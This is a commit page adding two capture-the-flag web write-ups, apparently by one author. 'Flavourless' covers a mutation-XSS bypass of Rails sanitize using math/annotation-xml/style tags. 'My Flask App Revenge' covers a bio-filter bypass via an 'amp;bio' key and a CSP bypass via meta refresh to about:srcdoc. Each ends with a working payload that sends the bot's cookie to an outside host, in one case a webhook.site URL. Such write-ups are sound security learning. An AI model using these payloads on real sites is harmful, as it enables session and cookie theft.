Skip to content

Commit 0c643e0

Browse files
authored
Merge pull request #5 from abizer94/main
Add Flask App Revenge and flavourless writeup
2 parents a00776d + a16ac5d commit 0c643e0

File tree

3 files changed

+1116
-0
lines changed

3 files changed

+1116
-0
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
+++
2+
title = "Flavourless"
3+
date = 2025-07-06
4+
authors = ["Abizer Lokhandwala"]
5+
+++
6+
7+
---
8+
9+
### Premise
10+
11+
This is a very simple page. It shows our input with some sanitization, but it allows `<math>`, `<annotation-xml>`, and `<style>` tags.
12+
13+
```ruby
14+
class FlavourController < ApplicationController
15+
include ActionView::Helpers::SanitizeHelper
16+
def index
17+
user_input = params[:input]
18+
19+
@sanitized_input = sanitize(user_input, tags: [ "math", "annotation-xml", "style" ])
20+
end
21+
end
22+
```
23+
24+
---
25+
26+
```html
27+
<!DOCTYPE html>
28+
<html lang="en">
29+
<head>
30+
<meta charset="UTF-8">
31+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
32+
<title>Flavour Rater</title>
33+
<script src="https://cdn.tailwindcss.com"></script>
34+
<style>
35+
body {
36+
background: linear-gradient(135deg, #1a1a1a 0%, #2b2b2b 100%);
37+
min-height: 100vh;
38+
font-family: 'Inter', sans-serif;
39+
color: #ffffff;
40+
}
41+
.glow-text {
42+
text-shadow: 0 0 10px rgba(255, 135, 0, 0.7);
43+
}
44+
.custom-container {
45+
background: rgba(255, 255, 255, 0.05);
46+
backdrop-filter: blur(10px);
47+
border: 1px solid rgba(255, 135, 0, 0.3);
48+
}
49+
.code-block {
50+
background: #2d2d2d;
51+
padding: 0.25rem 0.5rem;
52+
border-radius: 0.25rem;
53+
}
54+
</style>
55+
</head>
56+
<body class="flex items-center justify-center p-4">
57+
<div class="custom-container rounded-2xl shadow-2xl p-8 max-w-2xl w-full">
58+
<h1 class="text-4xl font-bold text-orange-500 glow-text text-center mb-6">Flavour Less ;)</h1>
59+
60+
<% if @sanitized_input.present? %>
61+
<p class="font-semibold text-orange-400 mb-2">Sanitized Output:</p>
62+
<div class="p-4 bg-gray-900 rounded-lg text-white">
63+
<%= raw @sanitized_input %>
64+
</div>
65+
<% else %>
66+
<p class="text-gray-300">No input provided. Please add a query parameter, e.g., <code class="code-block">?input=...</code>.</p>
67+
<% end %>
68+
</div>
69+
</body>
70+
</html>
71+
```
72+
73+
---
74+
75+
### Analysis
76+
77+
This was a simple **mutation XSS** question.
78+
We can just try some default methods and payloads.
79+
80+
Basically:
81+
82+
```html
83+
<math><annotation-xml encoding="text/html"><style><img src onerror=alert(origin)>
84+
```
85+
86+
will confuse the browser on what is and isn’t code to be executed, and will **execute the `onerror` part**. This is called **mutation injection**.
87+
88+
---
89+
90+
### Final Solution
91+
92+
```
93+
http://localhost:3000/report?url=http%3A%2F%2Flocalhost%3A3000%2F%3Finput%3D%253Cmath%253E%253Cannotation-xml%2520encoding%3D%2522text%2Fhtml%2522%253E%253Cstyle%253E%253Cimg%2520src%2520onerror%3D%2522window.location.href%3D%2527https%3A%2F%2Fwebhook.site%2F966f7699-02fe-4b89-ab1c-86aae18d86d6%3Fcookie%3D%2527%252BencodeURIComponent%28document.cookie%29%3B%2522%253E
94+
```
95+
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
+++
2+
title = "My Flask App Revenge"
3+
date = 2025-07-06
4+
authors = ["Abizer Lokhandwala"]
5+
+++
6+
7+
### My Flask App Rev Writeup
8+
9+
First looking at all accesable endpoints in app.py
10+
11+
1. /
12+
2. /register
13+
3. /update_bio
14+
4. /login
15+
5. /users
16+
6. /api/users
17+
7. /render
18+
8. /report
19+
20+
By breifly looking at all the functions and templates we can kind of guess a possible attack vector that is the bio we can inject some code into the bio and the bot will render it and execute the code
21+
22+
Looking into all the functions in more detail the regiter and login parts work as intended there is nothing of interest there.
23+
The report is important with a get request we see that it just goes to a page with a form that sends a post req to itself.
24+
A post req creates a bot that just visits the /users?name={our input}.
25+
Visit is an import from bot.py it opens a headless chromium browser that logs in as admin and adds a cookie with the flag.
26+
27+
It does have a lax samesitepolicy which means that we can access that cookie easily from a completely different website so our payload needs to just redirect the bot to out website and that can just take the cookie.
28+
29+
So what is in /users?name={user}
30+
It renders user.html template
31+
Basically uses the scripts index and users
32+
33+
#### Index.js (important sections):
34+
Sets window name to not admin other than that it seems to be normal and nothing seems interesting it is just a handler script takes forms and sends post requests.
35+
36+
#### Users.js (important sections):
37+
Takes the name parameter fetches api/users?name={name} this makes an iframe with /render?all keys stored in the db associated with this user in the revenge part it url encodes & so that we cant have a key &bio to trick this.
38+
If window name is "admin" it takes the get param "js" and executes it.
39+
40+
#### Api/users:
41+
It looks in the db for the user and gives all fields from the db except password and id.
42+
43+
#### /Render:
44+
Loads the bio with |safe meaning it assumes the output will be safe and wont sanatize it this is vulnerable.
45+
46+
From this our attack vector will be to inject some code into the bio section.
47+
48+
#### /Update_bio:
49+
It only allows post req
50+
Takes username from session looks at the json payload sent and filters the "bio" key next it just add the payload to our db this is good it means we can do something like &bio or amp;bio and since in this stage the key is not "bio" it wont be filtered and so we can inject code.
51+
52+
```py
53+
data = request.json
54+
if "username" in data or "password" in data:
55+
return jsonify({"error": "Cannot update username or password"}), 400
56+
bio = data.get("bio", "")
57+
if not bio or any(
58+
char not in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "
59+
for char in bio
60+
):
61+
return jsonify({"error": "Invalid bio"}), 400
62+
63+
result = users_collection.update_one({"username": username}, {"$set": data})
64+
if result.matched_count > 0:
65+
return jsonify({"message": "Bio updated successfully"}), 200
66+
else:
67+
return jsonify({"error": "Failed to update bio"}), 500
68+
```
69+
70+
Now crafting the payload we can send we know the key will be amp;bio but the csp will not allow us to execute js directly in the render page.
71+
72+
#### CSP Setup:
73+
```py
74+
# set CSP header for all responses
75+
@app.after_request
76+
def set_csp(response):
77+
response.headers["Content-Security-Policy"] = (
78+
"default-src 'self'; script-src 'self' 'unsafe-eval'; style-src 'self' ;"
79+
)
80+
return response
81+
```
82+
83+
So instead we must use the ?js param in the users.js page so our vulnerable entry point is /render and we want to somehow add out payload into a ?js parameter
84+
85+
#### Users.js snippet:
86+
```json
87+
if(window.name=="admin"){
88+
js = urlParams.get('js');
89+
if(js){
90+
eval(js);
91+
}
92+
93+
}
94+
```
95+
96+
We can use the meta tag for this since it is not disabled in the csp.
97+
98+
Srcdoc basicaly refers to this page itself if we add a meta tag to redirect to about:srcdoc?js=payload we can get cookie also we need to include the /users.js to the page we can also add that as a script tag.
99+
Note that the csp doesnt stop html tags and sources it just stops execution of js on out browser.
100+
101+
### Final Payload:
102+
103+
```json
104+
{ "bio":"a", "amp;bio":"<iframe name=admin src=about:srcdoc? srcdoc=\"<meta http-equiv=refresh content='1; url=about:srcdoc?js=top.location=`our site url`.concat(document.cookie);'><script src=/static/users.js?js=alert();></script>\">" }
105+
```
106+
107+
Sending this as the payload to update bio and then reporting the user will get us the flag.
108+

0 commit comments

Comments
 (0)